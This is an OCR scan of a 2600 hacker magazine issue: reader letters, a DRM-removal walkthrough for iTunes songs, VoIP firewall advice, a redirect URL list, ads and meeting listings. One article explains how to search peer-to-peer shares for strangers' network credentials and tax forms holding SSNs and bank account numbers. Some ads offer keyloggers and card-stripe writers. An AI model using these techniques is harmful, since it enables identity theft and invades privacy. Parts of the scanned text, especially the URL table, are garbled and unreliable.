artists only receive a small fraction of that amount any- 
way? This incentive changes when consumers become 
empowered and are able to directly support their fa- 
vorite musicians without feeling ripped off. The mistake 
that many in the industry have made is to assume that 
because people paid a huge amount in the past they 
will continue to do this when they have other choices. 
Very few consumers feel such a loyalty to record com- 
panies. Supporting their favorite bands is a different 
story. There will always be people who copy instead of 
spend but those are probably people who wouldn 7 have 
spent in the first place. It's nearly impossible to gauge 
how much money might have been made if nobody 
made a digital copy of a CD. To assume that these arc 
"lost sales" is simply wrong. And if there's a way to ob- 
tain originals at a fair price, having copies in circula- 
tion could very well help to spur that demand. This is 
not to say that this is a proven benefit, just that the in- 
dustry is in flux and it remains to he seen what it will 
evolve into. And that's a process that can't be stopped 
with court orders. 


Spring BOOH 


Ruga VI 



'More Bookstore Hijinks 

Dear 2600: 

Recently, while wandering the local campus book- 
store, I discovered a few copies of your magazine in- 
conspicuously hidden behind a stack of home decor 
magazines. (So I was bored?) While I find it interesting 
enough that my university actually sells your magazine 
in its bookstore, it still irks me that they feel the need to 
hide it in a part of the rack that makes it difficult to find. 

In any ease, having not yet purchased this issue. 1 
took it up to the register and attempted to check out. 
only to find that the cashier could not figure out how to 
get the price to run. Ten minutes and half the employ- 
ees in the store later, someone pointed out that the com- 
puter only needs to be told that "it’s a magazine, not a 
book," and "it costs $X." 

So reassuring, these people.... 

Cygnwulf 

Dear 2600: 

Recently I purchased Kevin Mitnick's The Art of 
Deception from my local Barnes and Noble. When I 
got up to the counter to ring it up. the woman, maybe in 
her late fifties, shuddered when she read the title, "I 
don't want to know" and then she Hipped it to the back- 
side to examine its contents. "It's awful what they do 
with this information." I kind of grinned to reassure her 
when she said this (though I was amused). I added that 
this was why it is so important to leant about how peo- 
ple can cheat you out of sensitive information without 
you realizing what has just transpired, so you may be 
able to circumvent it before it happens to you. She 
nodded but I don't think it really sunk in. 

MG48s 

This kind of thing seems to happen to our readers 
quite a bit. We suggest keeping a sense of humor for as 
long as is humanly possible. 

Thoughts on Terrorism 

Dear 2600: 

I am reading a very intercsting/frightening book 
right now. It is called The War on the Bill of Rights - 
and the Gathering Resistance by Nat HentofT. If any- 
one wants to educate themselves on the "New Constitu- 
tion" as has been rewritten by the Bush/Ashcroft 
administration, this book is a great place to start. Al- 
though it kind of made me wonder... if someone writing 
your magazine were to express points of view that were 
thought to advocate terrorism, which could be as little 
as the attempt to "...influence the policy of a govern- 
ment by intimidation" (Patriot Act, 2001), 2600 could 
in theory be deemed a terrorist organization. Not that I 
am saying that this is or will be the case, but the terror- 
ism guidelines Ashcroft provided the FBI state: "The 
nature of the conduct engaged in by a [terrorist | enter- 
prise will justify an inference that the standard [for 
opening a a criminal justice investigation) is satisfied, 
even if there are no known statements by participants 
that advocate or indicate planning for violence or other 
prohibited acts." So if 2600 is deemed a terrorist orga- 
nization. which is not too difficult apparently, what 
would prevent the government from demanding your 
subscriber list to get the names of active members of 
this so-called "terrorist organization?" They can also (if 
I understand this correctly) legally prevent you from 


informing your subscribers that there is even an invest! 
gation. This scenario would be a pretty bold implemen- 1 
tation of the Patriot Act. but still not outside the realm 
of possibility. If you want to get way out there, think 
about this: Technically if 2600 is considered a terrorist 
organization, all of the members, or anyone that has | 
supported 2600 could be deemed an enemy combatant, 
and held indefinitely without a lawyer or any outside 
communication. What makes this situation even more 
fun is that the government doesn't even have to tell you 
why you are being held or charge you with anything at 
all. (habeas corpus?). 

Like I said, this ever happening is very unlikely, but 
what better way to deal with dissent than to lock up 
anyone who doesn't agree with you? Educate yourself 
on this bill that was passed out of fear of further at- 
tacks, fear of being blamed for further attacks, and fear 
of being labeled unpatriotic. Which is more patriotic, 
supporting the current government officials (we know 
how infallible politicians are) or protesting a bill that 
nullifies large portions of our Bill of Rights? Find out 
for yourself. I would suggest HentofTs book, but I am 
sure you can find many other sources of information. 
Our ignorance is their greatest weapon. 

drlecter 

The good news is that people are starting to wake i 
up about the threats posed by the Patriot Act and other 
products of Bush and Ashcroft. We only hope that will 
be enough to start reversing the madness we've been 
engaged in. If not, we'll continue to do the best we can i 
in whatever circumstance. 

Dear 2600: 

I was at Hastings today and they had some of your 
zines near the main checkout aisle. So I picked one up 
and decided to stay and read some of it. It's really infor- 
mative and even for someone who doesn't know any- 
thing about computers it's still hard to put down. So, 
good job on that. Anyways, my question to you guys or 
the hacker community in general I guess would be this. 
With all the new powers given to the authorities to 
crack down on "terrorists" with this Patriot Act, they've 
created a perfect weapon to attack organizations like j 
yours. Has it directly affected you yet? What measures 
have you taken and what can others do to protect them- 
selves from this? It just seems the authorities can now 
legally monitor in any way they see fit and get away 
with it. It just seems to me that this act was created 
solely for the purpose of going after your organization 
and others like you. 

Lindsey The Boy 

It does indeed feel like it was meant for us some- 
times but then reality kicks in. This is meant for every- 
one - we're just one set of voices. We may stand up for 
free speech and controversial opinions more often 
which is why it seems as if these crackdowns are aimed 
squarely at us. But there are so many more people who 
stand up for these values in one way or another every 
day. Instilling fear in the populace as a whole is the 
real goal. 

To Clarify 

Dear 2600: 

1 received an auto-response e-mail from 
lctters@2600.com in my inbox yesterday. 

I just wish to inform you that I did not send any J 


. mails to letters (B2600.com. It might have been some- 
body else or perhaps some program that used my 
e-mail address as the source address. 

Whatever that original e-mail might have been, 
please disregard it as it was not sent from me. 

If you have any questions about this, please feel 
free to let me know. Thank you. 

Lawrence 

Your mistake was sending us this letter which we've 
now published. You're part of the family now. And if 
that was your intention all along, well played. 

Dear 2600: 

As a member of the Department of Homeland 
Security (DHS) and a faithful reader of your fine publi- 
cation I feel obligated to clarify some of the details in 
the 20:4 page 48 letter authored by Anonymous. It is 
doubtful that the DHS will ever have a listing of local 
field offices. The reason for this is that the DHS is an 
umbrella organization that was formed to coordinate 
the information exchange of numerous government 
agencies after the terrorist attacks of September 1 1th. 

The DHS is not a new separate organization but the 
headquarters for the 22 agencies that were absorbed 
into it. The agencies that fall under the DHS for the 
most part will still perform their branches' missions 
without much change. The main objective of the 
merger was to enable each branch to contribute and 
-hare information within the DHS network. 

I would not expect the DHS to secretly set up shop 
in your neighborhood any time soon. Chances are they 
would just utilize what is already in place. For more in- 
l urination pertaining to the organizational structure of 
the DHS and the agencies that fall under it please visit 
http://www.dhs.gov/dhspublic/theme_home 1 .jsp. 

P.S. My gut is still hurting from laughter after read- 
ing the 20:4 Food For Thought letter. That kid deserves 
a shirt for that. 

ZeroSpam 


Mentoring 

Dear 2600: 

After a friend introduced me to your magazine I 
have been extremely interested in hacking. Anyone 
willing to help or point me in the right direction will be 
appreciated. 

Billy 

See the following for some advice. 

Dear 2600: 

This letter goes to crypto for his letter in the 20:4 
edition: 

Congratulations, you have learned to hack: or bet- 
ter. you have learned to learn. One of the first things 
you must have learned in college is the difference be- 
tween the teaching methods of a professor and a 
teacher. A teacher's job is to teach while a professor 
points you in the right direction and expects you to take 
the initiative to leant. 

I too have been interested in computer science for 
many years now. 1 live in what I refer to as a "techno- 
logically challenged” area and 1 have learned to depend 
on myself in my pursuit of knowledge. I have, how- 
ever, had a much older friend who has helped me 
through the years. He has never "taught" me anything 
but has been my mentor by providing me with the tools. 

. direction, and advice I needed to achieve my goals. If 


he had crippled me by simply handing me the answers 1 
would have never learned to troubleshoot and solve 
problems on my own. I too should be enrolling in col- 
lege before long and from my experiences thus far 1 
think I will be ready. 

Hacking is a concept that surpasses computers and 
phone lines. In fact it predates them. It's a lifestyle that 
may take different names and forms with the advance- 
ment of technology but fundamentally stays the same 
over the years. Hacking is our intellectual devotion to 
the cause of better understanding. It explores our maxi- 
mum potentials as humans. Since potential seems to be 
the greatest waste of the universe, I would encourage 
you and any other readers to mentor someone younger 
than you as 1 consider myself very fortunate. 

Radix 

You may have succeeded in doing just that with 
these words. 


Working Around the System 

Dear 2600: 

Earlier this week my old phone died and getting a 
new one from Telus without a contract would cost me 
about $225 (CDN) for my crappy prepaid plan. I 
looked at Fido, a GSM competitor, and they were offer- 
ing a great plan and a free Sony Ericsson T300 with a 
two-year "Fido agreement". I decided to go for it and 
was impressed with the phone except for the fact that 
the ringtones and images were really lame. A data cable 
for the phone would cost me about $30 - a steep price 
considering that 1 would only use it for cosmetic pur- 
poses. 

I then hud an idea that 1 could download and create 
files and send them to my Palm Ml 00 and then beam 
them to the phone via IrDA. The problem was that 
Palm Installer wouldn’t read any of these files or pass 
them on because they were not recognized as Palm for- 
mat. Doing some research. I found a program called 
zboxz (http://palmboxer.sourccforge.net) that fakes 
Palm Installer files from any PC or Mac format and 
then can be stored on the Palm or beamed out. 

1 then had the problem of figuring out how to for- 
mat the ringtones from MIDI. I tried Polyphonic Wiz- 
ard, but it would only do the first two seconds until I 
paid $40 to register it. way too steep. I eventually tried 
just sending the raw MIDIs over and sure enough, it 
worked perfectly, no conversion necessary. 

Now on to images. Sony Ericsson's Image Con- 
verter would only convert my JPEGs to bitmap files, 
which zboxz could handle but the beam feature for 
some reason could not. I found an old copy of Photo- 
shop LE and then used it to change these BMPs into 
GIF files and then beam them, and it worked fine. (For 
those who want to create new files to transfer, the cor- 
rect sellings are 101x80. 256 colors, no interlacing.) 

So now I can have unlimited free downloads of 
ringtones and use picture ID or have nice backgrounds 
without needing the camera attachment. Now all I have 
to do is figure out how to change the banner, an easy 
task on CDMA but not so easy with GSM. Does any- 
body know why they lock it? I would really like to 
know. 

Nathan 


Spring 3000 


Page SI 


Setting ] 

\ our 

VI 

• 

uSle i 

b r ee' 


iTunes Music Sans DRMl 


by kOnk 

I do not advocate using the information 
contained herein to steal music. I simply enjoy 
having access to my own music on any com- 
puter I like and I'm sure that others are in the 
same boat. Fair use does not include unlimited 
distribution without permission. 

Pepsi's recent promotion promising 100 
million free iTunes songs allowed free down- 
loads from the iTunes Music Store (iTMS), but 
the files include restrictive digital rights man- 
agement (DRM ) that prevents users from play- 
ing the songs on their choice of hardware, 
making them free in only one sense of the 
word. Currently, the DRM that Apple packages 
into every AAC (Advanced Audio Coding) en- 
coded song requires users to "authorize" their 
computer in order to play purchased music. 
Authorization involves entering the iTMS 
username and password that they used to pur- 
chase the song, and can only be performed on a 
maximum of three computers. Apple has freely 
announced that the iTMS exists to sell iPods 
(which do not require authorization to play 
purchased music and are the only portable 
players licensed to play AAC encoded songs), 
not to turn a profit from selling music online. 
So what do you do if you want to play a pur- 
chased song on your shiny new Dell Digital 
Jukebox or on a non-authorized computer 
while you're away from home? 

Digital rights management has always met 
with resistance; people simply don't like to be 
told what they can and cannot do with things 
they have purchased. As soon as the iTMS 
launched, there was an immediate need for a 
technology to remove the DRM from 
purchased AAC files. 

Regardless of the type of copy protection 
employed to restrict a file's usage, the purpose 
of the file remains the same: to produce certain 
high quality sounds. Without the rights man- 
agement decreasing sound quality (thus mak- 
ing the file useless), there is no way that a user 
can be prevented from simply physically plug- 
ging the speaker output into the microphone 
[ input. The problem with this is that wires can 


be low quality, connections aren’t always per- 
fect, and some way or another gremlins creep 
into the process and the sound quality usually 
diminishes. 

Ten days after the release of a Windows 
version of iTunes, a program called MyTunes 
appeared. Its command line interlace allows ; 
users to strip the digital rights management out 
of AAC files downloaded from Apple's iTunes 
Music Store. MyTunes, which only runs in 
Windows, works by using a special driver that 
reroutes the sound card's output to the hard 
disk instead of the speakers. Interestingly, a 
similar device driver was (until recently) avail- j 
able on Apple’s OS X developer site as an ex- 
ample sound driver. Changing drivers is 
certainly clever and performs the desired task 
well, but requires the user to use special soft- 
ware that they might not be comfortable with. 

Another method of converting AACs with 
DRM to whatever file format is desired exists 
which uses no special software. What is inter- 
esting about this method is certainly not its I 
technical difficulty, but that it uses only tools \ 
provided by Apple on any new Macintosh sys- | 
tem. You could buy an iBook from your local 
Apple retailer, open it up, and start twisting off 
DRM with no additional software or technical 
knowledge. The method is simple; 

1. Purchase music from the iTMS. 

2. Open Apple's Sound Studio. 

3. Choose File > Import With Quicktime and 
select your downloaded song. 

4. Save as a WAV or comparable file type. 

5. Import the WAV into iTunes 

6. Select the WAV in iTunes and choose 
Advanced > Convert Selection to AAC/MP3/ 
whatever file type you have chosen as the 
default codec. 

This is reminiscent of the old days of MP3 
encoding that involved a manual two step 
process using different programs to rip and 
then encode. While tools that reduce this 
process to one click will undoubtedly evolve 
and become more common, this method is 
useful because of its simplicity and interesting 
because of its irony. 

SLOO Aigirini — ' 






U.S. Individual Income Tax Return 


Vonage Broadband 
Phone Service 


by Kevin T. Blakley 

As a 1 5 year security professional and Von- 
age phone service user over the past six months, 
I have uncovered some serious security prob- 
lems with its use and solutions to possible secu- 
rity risks for both business and home users. This 
broadband phone service which saves the end 
user hundreds or even thousands of dollars a 
year on local toll and long distance charges can 
pose certain vulnerabilities to your network. The 
service, which uses Cisco's VOIP ATA- 186 tele- 
phone adapter, opens several holes in network 
security. 

Vonage offers little help with serious techni- 
cal or security issues and in fact several techni- 
cal representatives stated to me that I should 
simply allow all traffic on the following ports 
(UDP: 53 (domain), 69 (tftp), 123 (sip), 5060, 
5061, and 10000 fi 20000) into my secured local 
network for any source IP. There are many ex- 
ploits for all of these ports which include ex- 
ploits for tftp on port 69, computer management 
on port 10000, and others. Vonage refuses to 
provide their source IP's for the VOIP connec- 
tions. Given this information one could easily 
set up firewall rules which would allow traffic 
only from Vonage's VOIP server addresses to the 
voice unit. Service redirection which is known 
to most seasoned firewall users allows the fire- 
wall to map user defined ports to a predefined lo- 
cal or private IP address. This, while not 
suggested by Vonage, would suffice in securing 
ihe local private network and also provide secu- 
rity to the ATA unit. What was suggested by 
Vonage was the placement of the ATA- 186 into a 


DMZ firewall zone. While this offers some log- 
ging ability for attempted attacks, it opens up the 
ATA unit itself to possible attacks via the open 
service ports mentioned above, specifically tftp, 
and a service that is normally turned off: http 
(port 80). Since broadband Internet service is to- 
day almost as common as a television and with 
broadband phone service providers such as Von- 
age gaining popularity, it is the responsibility of 
security professionals such as myself to provide 
information to the general public relating to se- 
curity threats. 

Personal firewalls such as the one provided 
in Windows XP and the many variants on the 
market protect the computer on which they are 
installed from various attacks. However they do 
not protect any other device which is on the 
same network connected through a broadband 
router. Many of the most popular broadband 
router/firewalls on the market today do offer 
some packet filtering but most do not inspect 
UDP traffic which is what the ATA- 186 voice 
unit uses to communicate VOIP traffic. 

For those home or business users who do not 
employ a firewall on the front end of their net- 
work. I would suggest doing so and employing 
stateful! packet inspection of all traffic relating 
to the use of any VOIP device. Such small office 
and home products arc available from many 
manufacturers such as Check Point, Watch- 
guard, Netgear, and Linksys. 

In no way am I discounting the value of 
broadband phone service providers. However, it 
is my opinion that these same providers should 
be a little more security conscious. 


by Kong 

#include <disclaimer.h> 

Even if you will not admit it, more than 
likely you have downloaded some sort of music 
or software via a peer to peer network like mil- 
lions of other people around the world. Whether 
it was in the glory days of Morpheus and Nap- 
ster or in the RIAA infested world of Kazaa to- 


day, it makes no difference. While you can find 
almost any sort of media you desire, there are 
more interesting things that can be found. First, 
let's examine what happens when you install 
most online sharing programs. The setup pro- 
gram will ask you what files and folders you 
want to share. Since naive and novice computer 
users know that sharing is the basis of all peer to 




' peer networks, they decide to share everything 
in their "My Documents" folder or sometimes 
even everything on their computer without 
knowing that there is anything wrong with this. 
Now it gets interesting if you know what to look 
for. 

Several times I have found network configu- 
ration documents that people left laying around 
on their computer. Many of these documents are 
for different businesses and schools that have 
hired people to install networks for them. These 
documents often contain idiot-proof instruc- 
tions on how to connect to the network (not like 
that is a complicated process). Besides the in- 
structions which you can toss aside, such docu- 
ments can also contain every computer's 
hostname, IP address, usernames, passwords, 
and various other proprietary information meant 
for employees only. All it takes is one careless 
employee to leave the document on an unse- 
cured computer and the whole world has access 
to it. Some good keywords to search for are net- 
work, setup, configuration, install, and LAN. 

Despite it being scary how easily someone 
can obtain such detailed information about a 
network, the following is even scarier. The pop- 
ular craze today is doing taxes online. At most 


places you enter all your information and within 
a few days or even hours they send you your tax 
information in PDF form. The two forms sent 
are the 1040 and 8283. The 8283 is basically a 
worksheet that isn't needed but contains your 
address, social security number, work, work 
phone number, and money earned that year. All 
this can be used for pretty much any purpose 
you desire. The 1040 contains even more vital 
information. It has the same information as the 
8283 plus some. This is the form you have to 
send in to the IRS. If you are receiving a refund, 
more then likely you are getting a direct deposit 
to speed things up. In order to receive this, the 
form will require you to fill out your bank's 
routing number and account number. Several 
sites have a search engine that allows you to en- 
ter a routing number and tells you the bank's 
name. After obtaining any of those documents, 
you have a good deal of information about a 
person. Just search for items such as return, tax. 
1040, 8283, federal, or anything of that nature. 

It might take awhile to download something 
interesting and most files will not be what you 
are looking for but eventually you will find 
something worthwhile. Just remember not to be 
too vicious with anything you discover. 


TIE FIFT1 HOPE 

3 Days of Hacker Pun / / f 

at the HOtel PEnnsylvania P [El 
in New York City\ I 
Friday, July 9th E I 

through Sunday, July 11th ^ — ,/ 


Keynote Speaker: Kevin Mitnick 

Plus Three Tracks of Speakers, Movies, Games 
Admission for the Entire Conference is $50 
Register at www.liope.net 

or Write to: The Fifth Hope 

c/o 2600 P.O. Box 752 
Middle Island, NY 11953 USA 



■Shoo flagazine 



ntSH^ Redirect Scan 

by StankDawg@hotmail.com 

If you visit msn.com (which you might do as the default home page in a lot of circumstances) 
you may notice that the page can be customized based on your settings. For example, a Dell system 
sometimes defaults to the homepage http://dellnet.msn.com/ which uses a custom module in the 
msn system to deliver Dell information. I found this both annoying and interesting. 

After a little reverse engineering, I discovered that you can either go to these sites directly or you 
can be redirected to these sites from http://go.msn.com/ by using the proper URL parameters. It 
turns out that it redirects to a specific page customized to a specific company or group based on the 
parameters passed via the URL. For example, not only can you type in the direct dellnet address 
listed above, but you can also use the redirected http://go.msn.com/ address listed below to get to 
the same place. I decided to hammer through some patterns and see what other sites offer custom 
services. The results are listed below. 

URL Company /Site 


h t tp ; //go . msn . com/ 0 / 0 / 1 . asp 
hr. tp: //go . msn . com/ 0/0/3 . asp 
.'it: tp ://go . msn . com/ 0/1/0 . asp 
http://go.msn.eom/0/l/l.a8p 
ht tp : //go . man . cam/ 0/1/2 . asp 
ht tp: //go . msn . com/0/3/1 . asp 
h t tp : //go . msn . com/ 0/3 /2.asp 
ht tp : //go . msn . com/0/3/3 . asp 
hr tp //go . msn . com/0/3/4 . asp 
h c tp : //go . msn . com/ 0/3/ 5 . asp 
he ep : //go . msn . com/ 0/3/6 . asp 
he tp : //go . msn . com/ 0/3/ 7. asp 
ht tp : //go . msn . com/ 0/3/6 . asp 
ht tp : //go . msn . com/ 0/3/ 9 . asp 
http: //go . msn . com/0/3/1 O.asp 
ht tp : //go . man . com/0/3/11 . asp 
h t tp : //go . msn . com/0/3/12 . asp 
http://go.msn.eom/0/3/13.asp 
ht tp: //go . msn . com/ 0/3/14 . asp 
http: //go . man . com/ 0/3/1 5 . asp 
http: //go . msn . com/0/3/16 . asp 
ht tp : //go . msn . corn/ 0/3/1 7. asp 
http : //go . msn . com/ 0/3/1 8 . asp 
http: //go . msn . com/0/3/19 . asp 
ht t p: //go . msn . com/0/3/20 . asp 
h t tp : //go . msn . com/ 0/5/1 . asp 
http://go.msn.eom/0/6/l . asp 
http://go.msn.eom/0/7/l . asp 
h t tp : //go . msn . com/0/8 /l . asp 


Microsoft - IB5.5 SP1 download (redirects to an apology page) 


Dell - * ebar " (error page, apparently this no longer exists ) 


MSN - MSN Member 

MSN - Canadian version 

MSN - My MSN (customised page) 

Best Buy 

Charter Communications - Broadband ISP Home page 

Dell 

Disney 

Beat Buy 

Charter Communications - Broadband ISP Home page 

Dell 

Disney 


Staples 
Veri son 
QWEST 
Staples 

United Airlines 
Verisan 

Verizon - Direct link to MSN Groups 
Verizon - Direct link to MSN Shopping 
Verizon - Direct link to MSN Money Central 
Verizon - Direct link to My MSN (customized page) 


This was done manually during a training session where I sat in the back of the class unchal- 
lenged and bored to tears. I only went through some limited ranges in my testing. It could easily be 
scripted to check for a larger series of numbers. A couple of them seemed interesting, such as the 
"ebar" page. Maybe there are some other software download pages that could be interesting. Maybe 
there are ways to login or access customized systems that weren't intended for public consumption. 
Just think of how many other sites may be out there on the web that could work the same way. See 
what others you can find! 

^ Spring BOOH P • g • 55 



Happenings 

THE FIFTH HOPE will take place ol New York City * Hotel Pennsylvania 
from July 9th to the 1 1 th This will be a very special conference, marking the 
20th anniversary of 2600 and the l Oth ranivenary of the First HOPE. There'* 
still time to get involved and become a speaker nr help to organize this his- 
toric event If you want to be pan of this, go to wwwhopc net and follow the 
links fur speakers and/or volunteers. See you there' 

For Sale 

HOW TO BE ANONYMOUS ON THE INTERNET. Easy to follow lessons 
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AT LAST AN ACCURATE DESCRIPTION OF THE BELIEFS AND 
BEHAVIOR OF HACKERS! Social Inquiry offer* a research report pro- 
duced by Bernhardt Licberman. emeritus professor from the University of 
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Prnfessor Licberman attended H2K2, observed the behavior of hackers in 
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H2K2. 7116 report also contains a content analysis of 2600. The report pre- 
sents a description of the beUfeft and behavior of hackers produced by these 


J 


Page 51. 


PbOO Hagazine 


/ method* of inquiry. The report U neither a condemnation nor ■ whitewash of 
hackers. nor docs it justify the actions of criminal justice systems and the dis- 
ciplinary actions of school administrators. It is designed to offer a more accu- 
rate picture of hackers than the pictures presented by the mas* media and the 
v nminal justice systems The report recommends that the desire of hackers to 
learn about computers, computing, and technology should be channeled into 
^instructive ends, as much as that is possible. The report is 140 pages long 
and contains 55.000 wards. Professor Lieberman received no grant or con- 
tract money to do this wort; he did the wort using his own money and was. 
and is. beholden to no one. To get a copy of the report send a check or money 
order for S23.50 + $4 JO <56.00 ouuide North America) for shipping (in U.S. 
dollars) payable to Social Inquiry, 627 Beverly Road. Pittsburgh. PA 15243. 
rhuse fortunate enough to have institutional funds to pay for the report are in- 
vited to send a purchase order. (Federal tax ID number 25-1377234.) Profes- 
sor Lieberman can be reached at 412.343.2508. His website is 
www. tclcrmna.com/-blieber 


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HIRING PROFESSIONAL INTERNET CONSULTANTS with job refer- 
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Wanted 

HAVE KNOWLEDGE OF SECURITY BREACHES at your bank > Heard 
tumors of cracked customer databases? Know there ore unaddressed vulnera- 
bilities in a retailer's credit card network, but its management doesn't know or 
care? We want your tips. Wc arc a business newsletter focusing on security 
issues in the financial industry IT security, privacy, regulatory compliance, 
identity -theft and fraud, money-laundering. Wherever criminal activity meets 
honks, wc ore there You can remain anonymous. (Note: wc will not print ru- 
mors circulated by one person or group without obtaining supporting evi- 
dence or corroboration from other parties.) Contact 
b.inksecuritynews@yahoo.com or call 212-564-8972. ext. 102. 

BUYING BOOKS AND MORE. Man interested in books related to hock 
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able books/off eiv I do search Google! No rip-offs please. Contact me ol 
lltda@atl.net. 

FREE SOFTWARE DISTRIBUTION. I have a website (www.cloder.com. 
come check it out!) that has a fair amount of traffic Mostly fur debiun and 
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programs and wish to shore. If you have some redly interesting appy I can 
give you (for free!) a page or a sub domain. I am looking to assist the open 
source movement and the hacker community. You can email me at 
clixler@hotmail.com. Please place "download" in the subject heading. All in- 
teresting ideas welcome. Eric Loder. 

NEED DIAL IT HACKING INFO (steps involved, current dial ups. etc.) 
Also looking for places on the Internet where I can get unlisted phone num- 
bers for free Please contact me at btllm2@prodig> net 
IF YOU DON’T WANT SOMETHING TO BE TRUE, does that make it 
propaganda? When we’re children and wc don't want to listen, we put our 
tiunds over our ears. As we grow up. we create new ways to ignore things we 
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Announcements 

OFF THE HOOK is the weekly one hour hacker radio show presented 
Wednesday nights at 7:00 pm ET on WBAl 99.5 FM in New York City. You 
can also tune in over the net at www.2600.com/offthehouk or on shortwave in 
North and South America at 7415 khz. Archives of all shows dating back to 
1988 can be found at the 2600 site, now m mp3 format! Shows from 1988- 
2003 ate now available on DVD! Details on page 9 Your feedback on the 
program is always welcome at oth@2600.com. 

IIACKER.SHOMEPAGK.COM. Your source for keyboard loggers, gam- 
bling devices, magnetic stripe reader/writers, vending machine de (caters, 
satellite TV equipment, lockpicks. etc... (407) 650-2830. 

CHRISTIAN HACKERS' ASSOCIATION: Check out the webpage 
http://www.chnMianhackcr.org for details. Wc exist to promote a community 
for Christian hackers to discuss and impact the realm where faith and technol- 
ogy intersect for the purpose of feeing fives changed by God's grace through 
faith in Jens. 

VMYTHS.COM AUDIO RANTS ore available free of charge to computer 
talk shows. These short and often hilarious MP3* dispel the hysteria that sur- 
rounds computer security. One former White House computer security advi- 
sor hate* these rants (and wc don't make this claim lightly). Check out 
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HACKERM1ND: Dedicated to bringing you the opinions of those in the 
hacker world, and home of the ezine Frequency Visit www hackermind net 
for details. 

DO YOU WANT ANOTHER PRINTED MAGAZINE that complements 
2600 with even more hacking information? Binary Revolution is a magazine 
from the Digital Dawg Pound about hacking und technology. Specifically, wc 
look at underground topics of technology including. Hacking. Phreaking. Se- 
curity. Urban Exploration. Digital Rights, and more For more information, or 
to order your printed copy online, visit us at http://www.binrev.cafn/ where 
you will also find instructions on mail orders. Welcome to the revolution! 


Personals 


VINTAGE COMPUTER RESOURCES FOR RESEARCH. VintageTech 
provides a wide variety of computer historical related services for business 
und academia We provide: support services for legal firms for computer and 
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PAY2SEND.COM is an c-nuuJ forwarding service that only forwards mes- 
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I AM A 22 YEAR OLD KNOW! .EDGE SEEKER that has been incarcer- 
ated for the past 2 yean and have 2 yean to go until my release I am looking 
for anyone who has the tune to leach or print tutorial* for me to learn from. I 
am Interested in any field such as phreaking. cracking, programming 
OpenBSb. or anything else to keep my mind on the right track while I do my 
segregation time. I also would enjoy some penpal* if anyone has time. I will 
answer ALL letters promptly. If interested please write me at: Joshua Stccl- 
smith #1 13667. WVCF-IDOC. PO Box 1 1 1 1. Carlisle. IN 47838. 
STORMBRINGER'S 411: My Habeas Corpus (2255) was just denied so I’m 
in for the 262 month long haul. Am trying to get back in contact with the D.C. 
crew. Roadie, Jcc630. Alby. Protozoa. Ophic. Professor, Dr. Freeze. Mudge. 
Vox Buster. Panzer, and whoever else wonts to write. PT Barnurn. I lost your 
411. Wireless, ham. data over radio is my bag. Write: William K. Smith. 
44684-083. FCI Cumberland Unit A-l. PO Box 1000, Cumberland, MD 
21501 (web- www.stonnbringef.tv) 

PRISON REALLY SUCKS! Known os Alpha bits fur many yean Help me 
pass die time in here and write to me. Only 2 more years left and I am going 
crazy without any mental stimulation I welcome letter* from anyone and will 
reply to all. Jeremy Cushing #J51 130. Centtnela Stale Prison. PO. Box 911. 
Imperial. CA 9225 1 -0911 

RESOURCE MAN i* looking for more addresses (snail mail) Please send 
any addresses of the following book dubs, subscription services, newspa- 
pers. computer/hacking magazines, and any foreign addresses which are a 
special delight The further away the better Also. I am a munga/anime fanatic 
(dbz. Dtgtnwm. Outlaw Star. Chobits, Tent hi Muyo. etc.). Please send any re- 
lated information to: Dumyel Sigsworth *1062882. PO Box 2000. Colorado 
City. TX 79512. Will respond if desired 

ONLY SUBSCRIBERS CAN ADVERTISE IN 2600 ’ Don’t even think 
about trying to take out an ad unless you subscribe! All ads arc free and there 
is no amount of money wc will accept for a non subscriber ad. We hope that's 
dear Of course, we reserve the right to po*ÂŤ judgment on your ad and not 
print it if it’s amazingly stupid or has nothing at all to do with the hacker 
world. Wc make no guarantee ax to the honesty, righteousness, sanity, etc. of 
the people advertising here. Contact them at your peril All submission* arc 
far ONE ISSUE ONLY* If yuu wont to run your ad more than once you must 
resubmit it each time. Don’t expect us to run more than one ad for you in a 
single issue cither. Include your address label or a photocopy so we know 
you’re a subscriber. Send your ad to 2600 Marketplace. PO Box 99. Middle 
Island. NY 11953. Deadline for Summer isaue WliM 


m WW A 


AjgBemy Cinefltr On Pultemy St. B pnfT 
f&bane: Hungry Jacks or th* Queen 

' SI. Mall (RHS. opposite Info Booth). 

7 pm. 

Canberra: Kt's Virtual Reality Cafe. 11 
East RW. Civic. 7 pm. 

Melbourne: Melbourne Central Shop- 
ping Centre at the Swanston Street 
entrance near the public phones. 

Perth: The Merchant Tea and Coffee 
House. 183 Murray St. 6 pm. 

Sydney: The Crystal Palace, front 
bar/bistro. opposite the bus station 
area on George Street at Central 
Station. 6 pm. 

AUSTRIA 

Graz: Cafe Hattestelle on Jakomini- 
platt. 

BRAZIL 

Belo Horizonte: Pelego's Bar at 
Assufeng, near the payphone. 6 pm. 

CANADA 

Alberta 

Calgary: Eau Claire Market food court 
by the bland yellow wall (formerly the 
•milk wall*). 

British Columbia 
Nanaimo: Tim Horton's at Comox & 
Wallace. 

Vancouver: Pacific Centre Food Fair, 
one level down from street level by 
payphones. 4 pm to 9 pm. 

Victoria: Eaton Center food court by 

AAW. 

Manitoba 

Winnipeg: Garden City Shopping Cen- 
ter. Center Food Court adjacent to the 
A A W restaurant. 

New Brunswick 

Moncton: Ground Zero Networks 
Internet Cafe, 720 Main St. 7 pm. 
Ontario 

Barrie: William's Coffee Pub, 505 
Bryne Drive. 7 pm. 

Guelph: William's Coffee Pub. 429 
Edinbourgh Road. 7 pm. 

Hamilton: McMaster University 
Student Center, Room 318. 7:30 pm. 
Ottawa: Agora Bookstore and Internet 
Cafe. 145 Besserer Street 6:30 pm. 
Toronto: Food Bar. 199 College Street 
Quebec 

Montreal; Bell Amphitheatre. 1000 
Gauchetiere Street 

CZECH REPUBLIC 
Prague: Legenda pub. 6 pm. 

OENMARK 

Aarhus: In the far comer of the 0SB 
cafe in the railway station. 
Copenhagen: Ved Cafe Blasen. 
Sonderborg: Cafe Druen. 7:30 pm. 
EGYPT 

Port Said: At the foot of the Obelisk 
(El MissaUah). 

ENGLAND 

Exeter: At the payphones, Bedford 
Square. 7 pm. 

Hampshire: Outside the Guildhall. 
Portsmouth. 

Hull: The Old Gray Mare Pub, opposite 
Hull University. 7 pm. 

London: Trocadero Shopping Center 
(near Picadiity Circus), lowest leveL 7 
pm. 

Manchester: The Green Room on 
Whitworth Street 7 pm. 

Norwich: Main foyer of the Norwich 
•Forum* Library. 7:30 pm. 

Reading: Afro Bar. Merchants Place, 
off Friar St 6 pm. 

FINLAND 

Helsinki: FenniafcortteU food court 
